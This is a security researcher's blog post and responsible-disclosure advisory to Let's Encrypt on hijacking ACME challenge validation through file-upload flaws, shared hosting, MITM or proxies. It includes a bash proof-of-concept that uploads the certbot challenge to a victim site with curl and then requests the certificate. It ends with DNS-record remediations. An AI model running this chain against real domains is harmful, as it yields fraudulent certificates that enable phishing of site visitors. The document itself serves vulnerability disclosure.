Chaining Remote Web Vulnerabilities to Abuse Let's Encrypt
For the last couple years, I have extensively used Let’s Encrypt to provide SSL certificates for websites I administer. I’m clearly not alone, as Let’s Encrypt recently announced they have issued over 100 million SSL certificates.
I’m a huge fan of their service, as I’ve always felt the CA (Certificate Authority) industry was a bit of a scam — charging an arm and a leg for encryption certificates, for no other reason other than self-signed certificates are flagged as being ‘unsafe’ in most web browsers. Encryption is encryption, and a self signed cert is just as good as any in this respect (weak/flawed encryption algorithms/protocols notwithstanding). Let’s Encrypt allows anyone to generate a certificate at no cost and install into their website with relative ease, and their goal of encrypting the entire internet is one I strongly support.
Recently I started playing around with the ACME validation routine Let’s Encrypt uses to verify domain ownership, suspecting that it may be abused to issue an SSL certificate to an attacker.
If you have never heard of it before, you might be thinking: “What the heck is ACME validation”? In short, the Automatic Certificate Management Environment (ACME) is a CA protocol which uses a PKI (public key infrastructure) to communicate with an internet domain. Let’s Encrypt uses this protocol as part of their certbot tool, to validate a so-called ACME challenge, which is a file placed by certbot in the .well-known/acme-challenge/ directory within the webroot of the domain being validated. Once Let’s Encrypt verifies that the correct challenge is in place on the remote server, the certificate is issued to the requestor.
My hypothesis was, if this challenge can be hijacked in some way, it may be possible to request and be issued a certificate for a domain outside my control.
I reached out to Let’s Encrypt to report the potential vulnerability a couple days ago. Almost immediately I received a response from Josh Aas, the founder of Let’s Encrypt. After researching my submission, he and his engineering team decided that my report didn’t reveal any new vulnerability, and a website with a significant remote vulnerability may have many potential problems beyond the one I have pointed out. They also thanked me for the research and mentioned it would be fine if I posted about the exploit publicly.
I anticipated this result from the beginning, as my exploit leverages other flaws to hijack the validation procedure from Let’s Encrypt. Some of these vulnerabilities are common on the web — for example, just today it was discovered that the FCC website is subject to an unauthorized file upload vulnerability.
Josh did agree that the MITM (Man in the Middle) attack scenario presented below could be more of a concern as it occurs on internet infrastructure beyond the control of a website owner. And apparently, I’m not the first to bring up this situation. A team from Princeton University just recently published research about such an attack. In response, literally days ago, Let’s Encrypt posted about a mitigation approach they will be rolling out.
I should stress that Let’s Encrypt is not the sole organization affected by this type of hijacking. Other CA’s validate in similar ways, as do many other non-CA’s who validate domains (as an example Google validates domain ownership in a similar way for Google Analytics). Some remediation ideas are presented below, which may or may not be good ideas. Public Key Pinning may also be a better way to validate domain ownership. For any better validation to work it would need to be adopted en masse, and we aren’t close to that at this time.
The security advisory as submitted to Let’s Encrypt is included as follows. It should go without saying, but I’ll say it anyway: The attacks presented were set up in a lab environment, and I managed the domains used in my testing.
Title : Chaining Remote Web Vulnerabilities to Abuse Let's Encrypt
Author: Mike Gualtieri :: https://www.mike-gualtieri.com
Date : 2017-08-29
Vendor Affected: Let's Encrypt :: https://letsencrypt.org/
1. Overview
Let's Encrypt can be tricked into issuing SSL certificates to a remote
attacker by hijacking the ACME challenge through remote exploits which may
exist on a victim website.
2. Details
The Let's Encrypt Certificate Authority can be abused to issue SSL
certificates to an attacker, by taking advantage of various remote
exploitation techniques which hijack the ACME challenge validation routine.
In each presented scenario, the certificate is requested and granted on a
remote machine controlled by the attacker. Let's Encrypt utilities (like
certbot) do not need to be installed on the server hosting the victim website.
Several attack scenarios are presented:
1) Utilizing an unrestricted file upload vulnerability on a victim website
2) Utilizing poor permissions within a shared hosting environment
3) Utilizing a Man In the Middle (MITM) attack to alter network traffic
4) Utilizing a malicious proxy to alter HTTP traffic
Each scenario requires a remote vulnerability to exist on the victim website
or hosted environment; however, by adding additional safeguards Let's Encrypt
could prevent fraudulent certificates from being issued to an attacker.
3. Impact
An attacker gaining a valid SSL certificate for a victim website could use it
to phish website visitors.
If an attacker were able to: 1) trick visitors into using a malicious DNS server
or 2) utilize a network level attack like ARP cache poisoning to redirect DNS
requests to a fraudulent web server, visitors would be sent to a cloned
website, using the same domain name, with a valid SSL certificate, maximizing
the success of a phishing campaign.
4. Exploit
An exploit for the unrestricted file upload scenario is provided, and
demonstrates how the ACME challenge validation can be hijacked. The other
attack scenarios are described in theoretical terms and are believed to be
exploitable as each hijacks the ACME challenge validation.
4a. Exploit - Proof of Concept (Unrestricted File Upload)
In the following scenario we discover a victim website that includes the
a remote vulnerability, which allows unrestricted file upload and conveniently
(and unrealistically) moves the file directly into the .well-known/acme-challenge
directory. While this scenario would likely never happen, it demonstrates that
an ACME challenge can be generated on a remote machine and temporarily placed on
the victim website to validate the challenge. The certificate is then issued on
the attacking machine.
# Vulnerable script: http://victim.com/le-receive.php
# Remote attacker utilizes the following script: lt-waitsend.sh
#!/bin/bash
FAKEWEBROOT=/tmp/fake/.well-known/acme-challenge
# Keep checking if certbot has generated the ACME challenge
# and upload to victim as soon as it's available
until [ -f ${FAKEWEBROOT}/* ]
do
sleep 0.1
done
lefile=`ls -1 ${FAKEWEBROOT}/*`
echo "Found ${lefile}"
curl -i -X POST -H "Content-Type: multipart/form-data"
-F "data=@${lefile}" http://victim.com/le-receive.php
exit
# Remote attacker executes the following:
~ $ ./lt-waitsend.sh
~ $ ./certbot-auto certonly --staging --no-self-upgrade
--webroot -w /tmp/fake -d victim.com
4b. Exploit - Realistic Scenario (Unrestricted File Upload)
A more realistic scenario is presented where victim.com includes a script which
allows unrestricted file upload and the webroot is owned by the apache user.
# Vulnerable script: <http://victim.com/le-receive2.php:>
# Attacker uploads the following script (le-create.php) to victim.com through
# the remote vulnerability. The script will wait for the ACME challenge to be
# uploaded through the remote vulnerability and move it into the correct location
# Attacker utilized the following script to generate the certificate and
# move it into place: lt-waitsend.sh
#!/bin/bash
FAKEWEBROOT=/tmp/fake/.well-known/acme-challenge
until [ -f ${FAKEWEBROOT}/* ]
do
sleep 0.1
done
lefile=`ls -1 ${FAKEWEBROOT}/*`
echo "Found ${lefile}"
curl -i -X POST -H "Content-Type: multipart/form-data"
-F "data=@${lefile}" http://victim.com/le-receive.php
curl http://victim.com/temp/le-create.php
exit
# Remote attacker executes the following:
~ $ ./lt-waitsend.sh
~ $ ./certbot-auto certonly --staging --no-self-upgrade
--webroot -w /tmp/fake -d victim.com
# At this point the attacker can clean up the remote files to leave no trace.
4c. Exploit Discussion
The above exploit demonstrates that the ACME challenge can be generated on a
remote attacking machine and temporarily transferred to the victim machine
through a remote vulnerability, allowing the challenge to be validated and
issuing the certificate to the attacker.
Likewise, a poorly configured shared hosting environment could present the
same issue. For example if two websites on the same server both had webroots
owned by apache:apache, the owner of one site could potentially generate the
ACME challenge and copy it to the other site, gaining the SSL certificate.
It should also be possible to manipulate the network to intercept the ACME
challenge. For example a MITM attacker could monitor HTTP traffic to a
victim website, and upon seeing the validation request from Let's Encrypt
could intercept the request and serve up the expected challenge. Furthermore,
any party in control of internet infrastructure (either by legitimate or
illegitimate means) could use this technique to generate SSL certificates for
any web site for which traffic flows.
Similarly, if a malicious proxy server on a network and was able to inject
itself between the web server and the valid network gateway, traffic could be
monitored and manipulated to hijack the ACME challenge validation request.
5. Remediation
By strengthening the DNS-level validation Let's Encrypt checks before
generating a certificate, the breadth of the above attack scenarios would be
reduced.
Currently Let's Encrypt utilizes CAA records to validate if a certificate is
allowed to be generated. This is a good step, but since CAA records are still
not supported properly by many DNS providers, an alternate TXT record might be
considered as a stop-gap. In addition, it should be required for such a
record to exist before Let's Encrypt generates the certificate.
Two additional protections may also be considered, which could be managed
through a set of Let's Encrypt TXT records: 1) Require the explicit
specification of remote hosts authorized to generate ACME challenges.
2) Ability to explicitly prevent validation via HTTP.
There are legitimate reasons why certbot may not actually be run on the web
server handling the ACME challenge request. In these cases a TXT record could
be added which explicitly states the list of authorized hosts allowed to
generate the request. This would prevent the first attack scenario described
above.
By allowing a user-configurable TXT record preventing validation via HTTP (or
by requiring validation via HTTPS), the threat of MITM attacks would be
reduced.
6. Conclusion
Several potential threats involving the hijacking of ACME challenges have been
presented above. Mitigation of these attacks could be handled through the
addition of required and/or user-configurable DNS TXT records.